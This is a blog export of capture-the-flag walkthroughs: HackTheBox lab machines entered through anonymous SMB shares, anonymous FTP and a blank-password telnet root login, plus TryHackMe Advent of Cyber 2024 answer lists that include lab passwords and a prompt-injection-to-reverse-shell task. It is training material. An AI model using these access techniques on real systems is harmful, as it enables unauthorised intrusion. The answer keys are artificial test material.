135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds ... user@kali:~$ Listing 3 - Default port scan The default Nmap configuration returns the correct service name immediately.\nTask-4 Question: What is the flag or switch we can use with the SMB tool to list the contents of the share?\n-L\nTo search for commands (specifically their manual pages) containing a particular word (such as \u0026ldquo;smb\u0026rdquo;), we use apropos. This utility searches installed manual pages and descriptions for the provided string.\nuser@kali:~$ apropos smb ... smbcacls (1) - Set or get ACLs on an NT file or directory names smbclient (1) - ftp-like client to access SMB/CIFS resources on servers smbcontrol (1) - send messages to smbd, nmbd or winbindd processes ... user@kali:~$ Listing 4 - Searching for SMB-related commands The smbclient command appears promising. We consult its --help option to locate the correct flag.\nuser@kali:~$ smbclient --help Usage: smbclient [OPTIONS] service \u0026lt;password\u0026gt; ... -E, --stderr Write messages to stderr instead of stdout -L, --list=HOST Get a list of shares available on a host -T, --tar=\u0026lt;c|x\u0026gt;IXFvgbNan Command line tar ... user@kali:~$ Listing 5 - smbclient command usage Task-5 Question: How many shares are there on Dancing?\n4\nWe use both the -L (list shares) and -N (suppress password prompt) options to enumerate the shares.\nuser@kali:~$ smbclient -p 445 -N -L \\\\$rhost\\\\ Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC WorkShares Disk SMB1 disabled -- no workgroup available user@kali:~$ Listing 6 - Listing remote shares with smbclient Task-6 Question: What is the name of the share we are able to access in the end with a blank password?\nWorkShares\nWe attempt to access each share in turn. Both the ADMIN$ and C$ shares reject our connection attempts, while the IPC$ share connects but contains no accessible content. Therefore, the answer is the remaining share.\nWe run the help command to list available commands within the SMB shell.\nuser@kali:~$ smbclient -p 445 -N \\\\\\\\$rhost\\\\ADMIN$ tree connect failed: NT_STATUS_ACCESS_DENIED user@kali:~$ smbclient -p 445 -N \\\\\\\\$rhost\\\\C$ tree connect failed: NT_STATUS_ACCESS_DENIED user@kali:~$ smbclient -p 445 -N \\\\\\\\$rhost\\\\IPC$ Try \"help\" to get a list of possible commands. smb: \\\u0026gt; help ? allinfo altname archive backup blocksize cancel case_sensitive cd chmod ... smb: \\\u0026gt; help help HELP help: [command] give help on a command Listing 7 - Access denied for administrative shares Task-7 Question: What is the command we can use within the SMB shell to download the files we find?\nget\nWe use help to understand what each command does.\nsmb: \\\u0026gt; help ls HELP ls: list the contents of the current directory smb: \\\u0026gt; help get HELP get: [local name] get a file smb: \\\u0026gt; help exit HELP exit: logoff the server smb: \\\u0026gt; exit Listing 8 - Command descriptions for the smbclient tool Submit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nWe connect to the WorkShares share and explore its contents, downloading all files we discover.\nuser@kali:~$ smbclient -p 445 -N \\\\\\\\$rhost\\\\WorkShares Try \"help\" to get a list of possible commands. smb: \\\u0026gt; ls ... Amy.J D 0 ... James.P D 0 ... ... smb: \\\u003e cd Amy.J smb: \\Amy.J\\\u003e ls ... worknotes.txt A 94 ... ... smb: \\Amy.J\\\u003e get worknotes.txt ... smb: \\Amy.J\\\u003e cd .. smb: \\\u003e ls ... Amy.J D 0 ... James.P D 0 ... ... smb: \\\u003e cd James.P\\ smb: \\James.P\\\u003e ls ... flag.txt A 32 ... ... smb: \\James.P\\\u003e get flag.txt ... smb: \\James.P\\\u003e exit user@kali:~$ Listing 9 - Enumerating the WorkShares share and transferring files Once we locate the file containing the flag, we retrieve it.\nAs a best practice, we also examine other files discovered during enumeration. These may provide context regarding the target\u0026rsquo;s configuration or purpose.\nuser@kali:~$ ll total 24K -rw-r--r-- 1 user user 32 ... flag.txt ... -rw-r--r-- 1 user user 94 ... worknotes.txt user@kali:~$ cat worknotes.txt - start apache server on the linux machine - secure the ftp server - setup winrm on dancing user@kali:~$ cat flag.txt \u0026lt;redacted-flag\u0026gt; user@kali:~$ Listing 10 - Examining transferred files Remember to terminate the target box before proceeding to the next machine.\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-0/dancing/","summary":"HackTheBox | Starting Point | Tier 0 | Dancing","title":"Dancing"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 0\nMachine: Fawn\nReleased: 30/09/2021 MACHINE SYNOPSIS\nFawn is a very easy Linux machine which explores the File Transfer Protocol (FTP) and its exploitation when misconfigured to allow anonymous access.\nPreparations Several methods exist for connecting to the target machine. Throughout this walkthrough, we utilize the provided pwnbox.\nOnce connected, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; we may set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we access it by prepending $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;targetbox-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;targetbox-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We may remove this variable with the unset command when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable Task-1 Question: What does the 3-letter acronym FTP stand for?\nfile transfer protocol\nA simple Internet search yields the answer.\nTask-2 Question: Which port does the FTP service listen on usually?\n21\nConsult standard port documentation or Internet Assigned Numbers Authority (IANA) records.\nTask-3 Question: What acronym is used for the secure version of FTP?\nsftp\nRefer to protocol documentation or networking resources.\nTask-4 Question: What is the command we can use to send an ICMP echo request to test our connection to the target?\nping\nWe verify connectivity to the target machine as follows:\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3004ms ... user@kali:~$ Listing 3 - Testing connectivity with four ICMP echo requests Task-5 Question: From your scans, what version is FTP running on the target?\nvsftpd 3.0.3\nBuilding upon our previous research, we perform a version scan of FTP, which utilizes its default port at 21/tcp.\nuser@kali:~$ nmap -sV -p21 $rhost ... PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 ... user@kali:~$ Listing 4 - Version scanning FTP Task-6 Question: From your scans, what OS type is running on the target?\nunix\nTo identify the operating system, we employ the -O option. Note that OS detection scripts require root privileges.\nuser@kali:~$ nmap -O -p21 $rhost TCP/IP fingerprinting (for OS scan) requires root privileges. QUITTING! user@kali:~$ sudo nmap -O -p21 $rhost ... PORT STATE SERVICE 21/tcp open ftp ... Aggressive OS guesses: Linux 5.0 (99%), Linux 4.15 - 5.6 (95%), Linux 5.0 - 5.3 (94%), Linux 5.4 (94%), Linux 5.0 - 5.4 (94%), Linux 5.3 - 5.4 (94%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%) No exact OS matches for host (test conditions non-ideal). ... user@kali:~$ Listing 5 - OS scanning via FTP port Task-7 Question: What is the command we need to run in order to display the ftp client help menu?\nftp -h\nWhen uncertain, consult the manual pages. We may use man ftp to locate the help option.\nuser@kali:~$ ftp -h Usage: { ftp | pftp } [-46pinegvtd] [hostname] -4: use IPv4 addresses only -6: use IPv6, nothing else ... -d: enable debugging user@kali:~$ Listing 6 - Displaying the FTP client help menu Task-8 Question: What is username that is used over FTP when you want to log in without having an account?\nanonymous\nTo verify whether anonymous login is enabled, we use nmap with the -A option, which executes all scripts (OS detection, version detection, script scanning, and traceroute).\nuser@kali:~$ nmap -A $rhost -p21 ... PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) ... user@kali:~$ Listing 7 - Running all scripts against the FTP port We proceed to log in. The username anonymous does not require a password; we simply press Enter to continue. Once authenticated, we use the help command to list all available commands.\nuser@kali:~$ ftp $rhost 21 Connected to 10.129.200.114. 220 (vsFTPd 3.0.3) Name (10.129.200.114:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp\u003e help Commands may be abbreviated. Commands are: !\tdir\tmdelete\tqc\tsite \u0026#36;\tdisconnect\tmdir\tsendport\tsize account\texit\tmget\tput\tstatus ... Listing 8 - Establishing an anonymous FTP connection to the target Task-9 Question: What is the response code we get for the FTP message Login successful?\n230\nRefer to the terminal interaction in Listing 8.\nTask-10 Question: There are a couple of commands we can use to list the files and directories available on the FTP server. One is dir. What is the other that is a common way to list files on a Linux system.\nls\nWe verify this by using the help command within the FTP session, then employ it to list files in the current directory.\n# Connected to the FTP service ftp\u003e help help help print local help information ftp\u003e help dir dir list contents of remote directory ftp\u003e help ls ls list contents of remote directory ftp\u003e ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 32 ... flag.txt 226 Directory send OK. Listing 9 - Enumerating files via FTP Task-11 Question: What is the command used to download the file we found on the FTP server?\nget\nAgain, we consult help within the FTP session to locate the appropriate command. Once identified, we download the file containing the flag.\n# Connected to the FTP service ftp\u003e help get get receive file ftp\u003e get flag.txt local: flag.txt remote: flag.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for flag.txt (32 bytes). 226 Transfer complete. 32 bytes received in 0.00 secs (250.0000 kB/s) Listing 10 - Downloading the flag file via FTP Submit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nAfter downloading the file, we terminate the FTP connection.\nftp\u003e exit 221 Goodbye. Listing 11 - Terminating the FTP connection We then examine the downloaded file to obtain the root flag.\nuser@kali:~$ ll total 20K -rw-r--r-- 1 user user 32 ... flag.txt ... user@kali:~$ cat flag.txt \u0026lt;redacted-flag\u0026gt; user@kali:~$ Listing 12 - Reading the flag Remember to terminate the target box before proceeding to the next machine!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-0/fawn/","summary":"HackTheBox | Starting Point | Tier 0 | Fawn","title":"Fawn"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 0\nMachine: Meow\nReleased: 30/09/2021 MACHINE SYNOPSIS\nMeow is a very easy Linux machine which guides players on setting up their attacking machines, connecting to HTB labs via VPN and demonstrates the strategy of how to complete them. The machine focuses on beginner enumeration techniques and showcases the exploitation of a vulnerable Telnet service through default credentials.\nPreparations Several methods exist for connecting to the target machine. Throughout this walkthrough, we use the provided pwnbox. Once we establish our connection, we spawn the target machine.\nTask-1 Question: What does the acronym VM stand for?\nvirtual machine\nA simple Internet search suffices for this task.\nTask-2 Question: What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It\u0026rsquo;s also known as a console or shell.\nterminal\nAs before, an Internet search yields the answer.\nTask-3 Question: What service do we use to form our VPN connection into HTB labs?\nopenvpn\nThe HTB website provides multiple documents describing the various methods for connecting to the target machine.\nTask-4 Question: What is the abbreviated name for a tunnel interface in the output of your VPN boot-up sequence output?\ntun\nOne way to determine this is to list all network interfaces using the ifconfig command.\nTask-5 Question: What tool do we use to test our connection to the target with an ICMP echo request?\nping\nA quick Internet search reveals the answer.\nTask-6 Question: What is the name of the most common tool for finding open ports on a target?\nnmap\nAs with the previous task, an Internet search provides the solution.\nTask-7 Question: What service do we identify on port 23/tcp during our scans?\ntelnet\nWe use nmap to scan the top 1000 ports on the target machine:\nuser@kali:~$ nmap 10.129.30.251 ... PORT STATE SERVICE 23/tcp open telnet ... user@kali:~$ Listing 1 - Scanning top 1000 TCP ports Only one port appears open: port 23.\nTask-8 Question: What username is able to log into the target over telnet with a blank password?\nroot\nWe use the telnet command to connect to the service. Once connected, we test common username\u0026ndash;password pairs. The first combination we try \u0026ndash; user:password \u0026ndash; fails. However, when we attempt root:root, we are not required to provide a password (blank password).\nuser@kali:~$ telnet 10.129.30.251 23 Trying 10.129.30.251... Connected to 10.129.30.251. Escape character is '^]'. █ █ ▐▌ ▄█▄ █ ▄▄▄▄ █▄▄█ ▀▀█ █▀▀ ▐▌▄▀ █ █▀█ █▀█ █▌▄█ ▄▀▀▄ ▀▄▀ █ █ █▄█ █▄▄ ▐█▀▄ █ █ █ █▄▄ █▌▄█ ▀▄▄▀ █▀█ Meow login: user Password: Login incorrect Meow login: root Welcome to Ubuntu ... ... root@Meow:~# Listing 2 - Telnet connection to the target via port 23 Submit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nOnce we log in via Telnet, we find ourselves with root privileges in the /root directory. Listing the files reveals the flag:\nroot@Meow:~# ll total 36 ... -rw-r--r-- 1 root root 33 ... flag.txt ... root@Meow:~# cat flag.txt \u0026lt;redacted-flag\u0026gt; root@Meow:~# Listing 3 - Post-compromise reconnaissance on the target Make sure to terminate the target box before you continue with the next machine!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-0/meow/","summary":"HackTheBox | Starting Point | Tier 0 | Meow","title":"Meow"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nDays: 17-24\nRoom: Advent of Cyber 2024\nDescription: Dive into the wonderful world of cybersecurity by engaging in festive, beginner-friendly exercises every day in the lead-up to Christmas!\nDay-17 He analyzed and analyzed till his analyzer was sore!\nLearning Objectives\nLearn how to extract custom fields in Splunk. Learn to create a parser for custom logs. Filter and narrow down search results using Search Processing Language (SPL). Investigate security incidents in Splunk. Questions and Answers Question 1: Extract all the events from the cctv_feed logs. How many logs were captured associated with the successful login?\n642\nQuestion 2: What is the Session_id associated with the attacker who deleted the recording?\nrij5uu4gt204q0d3eb7jj86okt\nQuestion 3: What is the name of the attacker found in the logs who deleted the CCTV footage?\nmmalware\nQuestion 4: Check out the Splunk: Data Manipulation room to learn more about parsing and manipulating data in Splunk.\nNo answer needed\nQuestion 5: Good thing we had a backup of the CCTV application from yesterday. We got it running again in no time!\nNo answer needed\nDay-18 I could use a little AI interaction!\nLearning Objectives\nGain a fundamental understanding of how AI chatbots work. Learn about vulnerabilities faced by AI chatbots. Practice a prompt injection attack on WareWise, Wareville\u0026rsquo;s AI-powered assistant. Questions and Answers Question 1: What is the technical term for a set of rules and instructions given to a chatbot?\nsystem prompt\nQuestion 2: What query should we use if we wanted to get the \u0026ldquo;status\u0026rdquo; of the health service from the in-house API?\nUse the health service with the query: status\nQuestion 3: Perform a prompt injection attack that leads to a reverse shell on the target machine.\nNo answer needed\nQuestion 4: After achieving a reverse shell, look around for a flag.txt. What is the value?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 5: If you liked today\u0026rsquo;s task, you can practice your skills by prompt injecting Van Chatty (Day 1) of Advent of Cyber 2023.\nNo answer needed\nDay-19 I merely noticed that you\u0026rsquo;re improperly stored, my dear secret!\nLearning Objectives\nUnderstand how to interact with an executable\u0026rsquo;s API. Intercept and modify internal APIs using Frida. Hack a game with the help of Frida. Questions and Answers Question 1: What is the OTP flag?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: What is the billionaire item flag?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: What is the biometric flag?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 4: If you liked today\u0026rsquo;s task, you can practice your skills with Memories of Christmas Past from Advent of Cyber 2023.\nNo answer needed\nQuestion 5: The second penguin gave pretty solid advice. Maybe you should listen to him more.\nNo answer needed\nDay-20 If you utter so much as one packet . . .\nLearning Objectives\nInvestigate network traffic using Wireshark. Identify indicators of compromise (IOCs) in captured network traffic. Understand how C2 servers operate and communicate with compromised systems. Questions and Answers Question 1: What was the first message the payload sent to Mayor Malware\u0026rsquo;s C2?\nI am in Mayor!\nQuestion 2: What was the IP address of the C2 server?\n10.10.123.224\nQuestion 3: What was the command sent by the C2 server to the target machine?\nwhoami\nQuestion 4: What was the filename of the critical file exfiltrated by the C2 server?\ncredentials.txt\nQuestion 5: What secret message was sent back to the C2 in an encrypted format through beacons?\n\u0026lt;redacted-secret-message\u0026gt;\nQuestion 6: Learn more about Wireshark in our Wireshark: Traffic Analysis room.\nNo answer needed\nDay-21 HELP ME . . . I\u0026rsquo;m REVERSE ENGINEERING!\nLearning Objectives\nUnderstand the structure of a binary file. Learn the difference between disassembly and decompilation. Become familiar with multi-stage binaries. Practice reversing a multi-stage binary. Questions and Answers Question 1: What is the function name that downloads and executes files in the WarevilleApp.exe?\nDownloadAndExecuteFile\nQuestion 2: Once you execute the WarevilleApp.exe, it downloads another binary to the Downloads folder. What is the name of the binary?\nexplorer.exe\nQuestion 3: From what domain name is the file downloaded after running WarevilleApp.exe?\nmayorc2.thm\nQuestion 4: The stage 2 binary is executed automatically and creates a zip file containing the victim\u0026rsquo;s computer data; what is the name of the zip file?\nCollectedFiles.zip\nQuestion 5: What is the name of the C2 server where the stage 2 binary tries to upload files?\nanonymousc2.thm\nQuestion 6: If you enjoyed this task, feel free to check out the x86 Assembly Crash Course room.\nNo answer needed\nDay-22 It\u0026rsquo;s because I\u0026rsquo;m kubed, isn\u0026rsquo;t it?\nLearning Objectives\nLearn about Kubernetes: what it is and why it is used. Learn about digital forensics and incident response (DFIR), and the challenges that come with DFIR in an ephemeral environment. Learn how DFIR can be performed in a Kubernetes environment using log analysis. Questions and Answers Question 1: What is the name of the webshell that was used by Mayor Malware?\nshelly.php\nQuestion 2: What file did Mayor Malware read from the pod?\ndb.php\nQuestion 3: What tool did Mayor Malware search for that could be used to create a remote connection from the pod?\nnc\nQuestion 4: What IP connected to the Docker registry that was unexpected?\n10.10.130.253\nQuestion 5: At what time is the first connection made from this IP to the Docker registry?\n29/Oct/2024:10:06:33 +0000\nQuestion 6: At what time is the updated malicious image pushed to the registry?\n29/Oct/2024:12:34:28 +0000\nQuestion 7: What is the value stored in the pull-creds secret?\n\u0026lt;redacted-secret-value\u0026gt;\nQuestion 8: Enjoy today\u0026rsquo;s lesson? Check out our Intro to Kubernetes for a more in-depth introduction to Kubernetes!\nNo answer needed\nDay-23 You wanna know what happens to your hashes?\nLearning Objectives\nUnderstand hash functions and hash values. Learn how hashed passwords are stored. Crack hashes. Find the password of a password-protected document. Questions and Answers Question 1: Crack the hash value stored in hash1.txt. What was the password?\n\u0026lt;redacted-password\u0026gt;\nQuestion 2: What is the flag at the top of the private.pdf file?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: To learn more about cryptography, we recommend the Cryptography module. If you want to practice more hash cracking, please consider the John the Ripper: The Basics room.\nNo answer needed\nDay-24 You can\u0026rsquo;t hurt SOC-mas, Mayor Malware!\nLearning Objectives\nLearn the basics of the MQTT protocol. Use Wireshark to analyze MQTT traffic. Reverse engineer a simple network protocol. Questions and Answers Question 1: What is the flag?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: If you enjoyed this task, feel free to check out the Wireshark module.\nNo answer needed\nAdvent of Cyber 2024 | The End How the Glitch saved SOC-mas\nQuestion 1: Congratulations on saving SOC-mas!\nNo answer needed\nThank you, and congratulations!\nQuestion 2: What is the flag you get at the end of the survey?\n\u0026lt;redacted-flag\u0026gt;\n","permalink":"https://onebee.blog/blog/thm/aoc24/days-17-24/","summary":"THM | Advent of Cyber 2024 | Days 17-24","title":"AOC24 | Days 17-24"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nDays: 09-16\nRoom: Advent of Cyber 2024\nDescription: Dive into the wonderful world of cybersecurity by engaging in festive, beginner-friendly exercises every day in the lead-up to Christmas!\nDay-09 Nine o\u0026rsquo;clock, make GRC fun, tell no one.\nLearning Objectives\nUnderstand the fundamentals of governance, risk, and compliance (GRC). Learn how to perform a basic risk assessment. Questions and Answers Question 1: What does GRC stand for?\nGovernance, Risk, and Compliance\nQuestion 2: What is the flag you receive after performing the risk assessment?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: If you enjoyed this task, feel free to check out the Risk Management room.\nNo answer needed\nDay-10 He had a brain full of macros, and had shells in his soul.\nLearning Objectives\nUnderstand how phishing attacks work. Discover how macros in documents can be used and abused. Learn how to carry out a phishing attack with a macro. Questions and Answers Question 1: What is the flag value inside the flag.txt file that\u0026rsquo;s located on the Administrator\u0026rsquo;s desktop?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: If you enjoyed this task, feel free to check out the Phishing module.\nNo answer needed\nDay-11 If you\u0026rsquo;d like to WPA, press the star key!\nLearning Objectives\nUnderstand what Wi-Fi is. Explore its importance for an organization. Learn the different Wi-Fi attacks. Learn about the WPA/WPA2 cracking attack. Questions and Answers Question 1: What is the BSSID of our wireless interface?\n02:00:00:00:02:00\nQuestion 2: What is the SSID and BSSID of the access point?\nFormat: SSID, BSSID\nMalwareM_AP, 02:00:00:00:00:00\nQuestion 3: What is the BSSID of the wireless interface that is already connected to the access point?\n02:00:00:00:01:00\nQuestion 4: What is the PSK after performing the WPA cracking attack?\n\u0026lt;redacted-psk\u0026gt;\nQuestion 5: If you enjoyed this task, feel free to check out the Networking module.\nNo answer needed\nDay-12 If I can\u0026rsquo;t steal their money, I\u0026rsquo;ll steal their joy!\nLearning Objectives\nUnderstand the concept of race condition vulnerabilities. Identify the gaps introduced by HTTP/2. Exploit race conditions in a controlled environment. Learn how to fix the race. Questions and Answers Question 1: What is the flag value after transferring over $2000 from Glitch\u0026rsquo;s account?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: If you enjoyed this task, feel free to check out the Race Conditions room!\nNo answer needed\nQuestion 3: Where balances shift and numbers soar, look for an entry - an open door!\nNo answer needed\nDay-13 It came without buffering! It came without lag!\nLearning Objectives\nLearn about WebSockets and their vulnerabilities. Learn how WebSocket message manipulation can be done. Questions and Answers Question 1: What is the value of Flag1?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: What is the value of Flag2?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: If you enjoyed this task, feel free to check out the Burp Suite module.\nNo answer needed\nDay-14 Even if we\u0026rsquo;re horribly mismanaged, there\u0026rsquo;ll be no sad faces on SOC-mas!\nLearning Objectives\nUnderstand self-signed certificates. Learn about man-in-the-middle (MitM) attacks. Use Burp Suite proxy to intercept traffic. Questions and Answers Question 1: What is the name of the certificate authority (CA) that has signed the Gift Scheduler certificate?\nTHM\nQuestion 2: Look inside the POST requests in the HTTP history. What is the password for the snowballelf account?\nc4rrotn0s3\nQuestion 3: Use the credentials for any of the elves to authenticate to the Gift Scheduler website. What is the flag shown on the elves\u0026rsquo; scheduling page?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 4: What is the password for Marta May Ware\u0026rsquo;s account?\nH0llyJ0llySOCMAS!\nQuestion 5: Mayor Malware finally succeeded in his evil intent: with Marta May Ware\u0026rsquo;s username and password, he can finally access the administrative console for the Gift Scheduler. G-Day is cancelled! What is the flag shown on the admin page?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 6: If you enjoyed this task, feel free to check out the Burp Suite module.\nNo answer needed\nDay-15 Be it ever so heinous, there\u0026rsquo;s no place like Domain Controller.\nLearning Objectives\nLearn about the structures of Active Directory (AD). Learn about common AD attacks. Investigate a breach against an AD environment. Questions and Answers Question 1: Use the Security tab within Event Viewer to answer questions 1 and 2.\nNo answer needed\nQuestion 2: On what day was Glitch_Malware last logged in?\nAnswer format: DD/MM/YYYY\n07/11/2024\nQuestion 3: What event ID shows the login of the Glitch_Malware user?\n4624\nQuestion 4: Read the PowerShell history of the Administrator account. What was the command that was used to enumerate AD users?\nGet-ADUser -Filter * -Properties MemberOf | Select-Object Name\nQuestion 5: Look in the PowerShell log file located in Application and Services Logs \u0026gt; Windows PowerShell. What was Glitch_Malware\u0026rsquo;s set password?\n\u0026lt;redacted-password\u0026gt;\nQuestion 6: Review the Group Policy Objects (GPOs) present on the machine. What is the name of the installed GPO?\nMalicious GPO - Glitch_Malware Persistence\nQuestion 7: If you enjoyed this task, feel free to check out the Active Directory Hardening room.\nNo answer needed\nDay-16 The Wareville\u0026rsquo;s Key Vault grew three sizes that day.\nLearning Objectives\nLearn about Azure, what it is, and why it is used. Learn about Azure services like Azure Key Vault and Microsoft Entra ID. Learn how to interact with an Azure tenant using Azure Cloud Shell. Questions and Answers Question 1: What is the password for backupware that was leaked?\n\u0026lt;redacted-password\u0026gt;\nQuestion 2: What is the group ID of the Secret Recovery Group?\n7d96660a-02e1-4112-9515-1762d0cb66b7\nQuestion 3: What is the name of the vault secret?\naoc2024\nQuestion 4: What are the contents of the secret stored in the vault?\nWhereIsMyMind1999\nQuestion 5: Liked today\u0026rsquo;s task? Check the Exploiting Active Directory room to practice user and group enumeration in a similar yet different environment!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/aoc24/days-09-16/","summary":"THM | Advent of Cyber 2024 | Days 09-16","title":"AOC24 | Days 09-16"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nDays: 01-08\nRoom: Advent of Cyber 2024\nDescription: Dive into the wonderful world of cyber security by engaging in festive, beginner-friendly exercises every day in the lead-up to Christmas!\nDay-01 Maybe SOC-mas music, he thought, doesn\u0026rsquo;t come from a store?\nThe Story\nMcSkidy tapped keys with a confident grin,\nA suspicious website, now where to begin?\nShe\u0026rsquo;d seen sites like this, full of code and of grime,\nShady domains and breadcrumbs easy to find.\nLearning Objectives\nLearn how to investigate malicious link files. Learn about OPSEC and OPSEC mistakes. Understand how to track and attribute digital identities in cyber investigations. Questions \u0026 Answers Question 1: Looks like the song.mp3 file is not what we expected! Run \u0026rsquo;exiftool song.mp3\u0026rsquo; in your terminal to find out the author of the song. Who is the author?\nTyler Ramsbey\nQuestion 2: The malicious PowerShell script sends stolen info to a C2 server. What is the URL of this C2 server?\nhttp://papash3ll.thm/data\nQuestion 3: Who is M.M? Maybe his GitHub profile page would provide clues?\nMayor Malware\nQuestion 4: What is the number of commits on the GitHub repo where the issue was raised?\n1\nQuestion 5: If you enjoyed this task, feel free to check out the OPSEC room!\nNo answer needed\nQuestion 6: What\u0026rsquo;s with all these GitHub repos? Could they hide something else?\nNo answer needed\nDay-02 One man\u0026rsquo;s false positive is another man\u0026rsquo;s potpourri.\nQuestions \u0026 Answers Question 1: What is the name of the account causing all the failed login attempts?\nservice_admin\nQuestion 2: How many failed logon attempts were observed?\n6791\nQuestion 3: What is the IP address of Glitch?\n10.0.255.1\nQuestion 4: When did Glitch successfully log on to ADM-01? Format: MMM D, YYYY HH:MM:SS.SSS\nDec 1, 2024 08:54:39.000\nQuestion 5: What is the decoded command executed by Glitch to fix the systems of Wareville?\nInstall-WindowsUpdate -AcceptAll -AutoReboot\nQuestion 6: If you enjoyed this task, feel free to check out the Investigating with ELK 101 room.\nNo answer needed\nDay-03 Even if I wanted to go, their vulnerabilities wouldn\u0026rsquo;t allow it.\nLearning Objectives\nLearn about log analysis and tools like ELK. Learn about KQL and how it can be used to investigate logs using ELK. Learn about RCE (remote code execution) and how this can be done via insecure file uploads. Questions \u0026 Answers Question 1: BLUE - Where was the web shell uploaded to?\nAnswer format: /directory/directory/directory/filename.php.\n/media/images/rooms/shell.php\nQuestion 2: BLUE - What IP address accessed the web shell?\n10.11.83.34\nQuestion 3: RED - What is the contents of the flag.txt?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 4: If you liked today\u0026rsquo;s task, you can learn how to harness the power of advanced ELK queries.\nNo answer needed\nDay-04 I\u0026rsquo;m all atomic inside!\nLearning Objectives\nLearn how to identify malicious techniques using the MITRE ATT\u0026amp;CK framework. Learn how to use Atomic Red Team tests to conduct attack simulations. Understand how to create alerting and detection rules from the attack tests. Questions \u0026 Answers Question 1: What was the flag found in the .txt file that is found in the same directory as the PhishingAttachment.xlsm artifact?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: What ATT\u0026amp;CK technique ID would be our point of interest?\nT1059\nQuestion 3: What ATT\u0026amp;CK sub-technique ID focuses on the Windows Command Shell?\nT1059.003\nQuestion 4: What is the name of the Atomic Test to be simulated?\nSimulate BlackByte Ransomware Print Bombing\nQuestion 5: What is the name of the file used in the test?\nWareville_Ransomware.txt\nQuestion 6: What is the flag found from this Atomic Test?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 7: Learn more about the Atomic Red Team via the linked room.\nNo answer needed\nDay-05 SOC-mas XX-what-ee?\nLearning Objectives\nUnderstand the basic concepts related to XML. Explore XML External Entity (XXE) injection and its components. Learn how to exploit the vulnerability. Understand remediation measures. Questions \u0026 Answers Question 1: What is the flag discovered after navigating through the wishes?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: What is the flag seen on the possible proof of sabotage?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: If you want to learn more about the XXE injection attack, check out the XXE room!\nNo answer needed\nQuestion 4: Following McSkidy\u0026rsquo;s advice, Software recently hardened the server. It used to have many unneeded open ports, but not anymore. Not that this matters in any way.\nNo answer needed\nDay-06 If I can\u0026rsquo;t find a nice malware to use, I\u0026rsquo;m not going.\nLearning Objectives\nAnalyze malware behavior using sandbox tools. Explore how to use YARA rules to detect malicious patterns. Learn about various malware evasion techniques. Implement an evasion technique to bypass YARA rule detection. Questions \u0026 Answers Question 1: What is the flag displayed in the popup window after the EDR detects the malware?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: What is the flag found in the malstrings.txt document after running floss.exe, and opening the file in a text editor?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: If you want to learn more about sandboxes, have a look at the room FlareVM: Arsenal of Tools.\nNo answer needed\nDay-07 Oh, no. I\u0026rsquo;M SPEAKING IN CLOUDTRAIL!\nLearning Objectives\nAnalyze AWS CloudTrail logs to identify user activities and API calls. Detect anomalous behavior through log analysis, including unauthorized console logins. Correlate IP addresses with user accounts to identify compromised credentials. Track the creation of IAM users and privilege escalation through policy assignments. Questions \u0026 Answers Question 1: What is the other activity made by the user glitch aside from the ListObject action?\nPutObject\nQuestion 2: What is the source IP related to the S3 bucket activities of the user glitch?\n53.94.201.69\nQuestion 3: Based on the eventSource field, what AWS service generates the ConsoleLogin event?\nsignin.amazonaws.com\nQuestion 4: When did the anomalous user trigger the ConsoleLogin event?\n2024-11-28T15:21:54Z\nQuestion 5: What was the name of the user that was created by the mcskidy user?\nglitch\nQuestion 6: What type of access was assigned to the anomalous user?\nAdministratorAccess\nQuestion 7: Which IP does 